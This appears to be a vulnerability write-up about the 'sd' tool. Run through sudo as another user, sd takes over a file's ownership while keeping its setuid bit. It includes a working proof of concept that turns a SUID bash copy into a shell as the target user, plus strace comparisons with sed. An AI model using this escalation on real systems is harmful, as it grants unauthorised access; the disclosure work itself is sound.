November 13, 2025
During testing, it was found that executing the sd command changes the group ownership of the source file, whereas the same sed command does not have this vulnerability.
As shown in the diagram, for example, if we have already obtained the system's initial shell during the penetration process, and if we can execute the 'sd' command with a certain user's permissions, we can then use the 'sd' command to escalate to that user's privileges. See the example below.
www-data@Scanner:/tmp/test$ echo 123 > test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rw-rw-rw- 1 www-data www-data 4 Nov 13 04:46 test
www-data@Scanner:/tmp/test$ sudo -l
Matching Defaults entries for www-data on Scanner:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on Scanner:
(welcome) NOPASSWD: /usr/bin/sd
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rw-rw-rw- 1 welcome welcome 4 Nov 13 04:46 test
You can see that the file's group has changed from www-data to welcome, and all file permissions, including the setuid bit, are fully retained.
So we can set the SUID bit on files owned by the group for low-privilege users, and then use the 'sd' command to change the file's group, causing a privilege escalation vulnerability.
www-data@Scanner:/tmp/test$ cp /bin/bash ./bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwxr-xr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ chmod a+s bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwsr-sr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwsr-sr-x 1 welcome welcome 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ ./bash1 -p
bash1-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(welcome) egid=1000(welcome) groups=1000(welcome),33(www-data)
It can be seen that the privilege has now been elevated to 'welcome'.
This type of privilege escalation currently works successfully in the bash environment, but not in the zsh environment.
In most cases, using a command as a specified user does not change the original file's group ownership. Even if the command changes the file's group, the original file's setuid bit will be replaced by the execute permission.However, the sd command has this vulnerability-generating characteristic.
Here, I would like to thank Germano0 for performing library tracing to explain why its sd changes the file group while retaining the s-bit.
sed
user@machine:~/sed$ strace -f -o /tmp/sed.trace sed -i 's/1/0/g' foo.txt
user@machine:~/sed$ grep -E 'rename|renameat|openat|O_TRUNC|mkstemp|\.tmp|unlink|fchown|fchmod' /tmp/sed.trace
1495752 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libacl.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libpcre2-8.so.0", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/usr/lib64/gconv/gconv-modules.cache", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "foo.txt", O_RDONLY) = 3
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDONLY|O_CLOEXEC) = 4
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDWR|O_CLOEXEC) = 4
1495752 openat(AT_FDCWD, "./sed0GkUFc", O_RDWR|O_CREAT|O_EXCL, 0600) = 4
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDWR|O_CLOEXEC) = 5
1495752 fchown(4, 1000, 1000) = 0
1495752 rename("./sed0GkUFc", "foo.txt") = 0sd
user@machine:~/sd$ strace -f -o /tmp/sd.trace sd '1' '0' foo.txt
user@machine:~/sd$ grep -E 'rename|renameat|openat|O_TRUNC|mkstemp|\.tmp|unlink|fchown|fchmod' /tmp/sd.trace
1496567 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/lib64/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/proc/self/maps", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/proc/self/cgroup", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.kde.yakuake-10321.scope/tab(12337).scope/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.kde.yakuake-10321.scope/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/cpu.max", O_RDONLY|O_CLOEXEC) = -1 ENOENT (File o directory non esistente)
1496577 openat(AT_FDCWD, "/sys/devices/system/cpu/online", O_RDONLY|O_CLOEXEC <unfinished ...>
1496577 <... openat resumed>) = 3
1496567 openat(AT_FDCWD, "foo.txt", O_RDONLY|O_CLOEXEC <unfinished ...>
1496567 <... openat resumed>) = 3
1496567 openat(AT_FDCWD, "foo.txt", O_RDONLY|O_CLOEXEC <unfinished ...>
1496567 <... openat resumed>) = 3
1496567 openat(AT_FDCWD, "/home/user/sd/.tmp8EbJhK", O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC, 0600 <unfinished ...>
1496567 <... openat resumed>) = 4
1496567 fchmod(4, 0100644 <unfinished ...>
1496567 <... fchmod resumed>) = 0
1496567 renameat(AT_FDCWD, "/home/user/sd/.tmp8EbJhK", AT_FDCWD, "/home/user/sd/foo.txt" <unfinished ...>
1496567 <... renameat resumed>) = 0
user@machine:~/sd$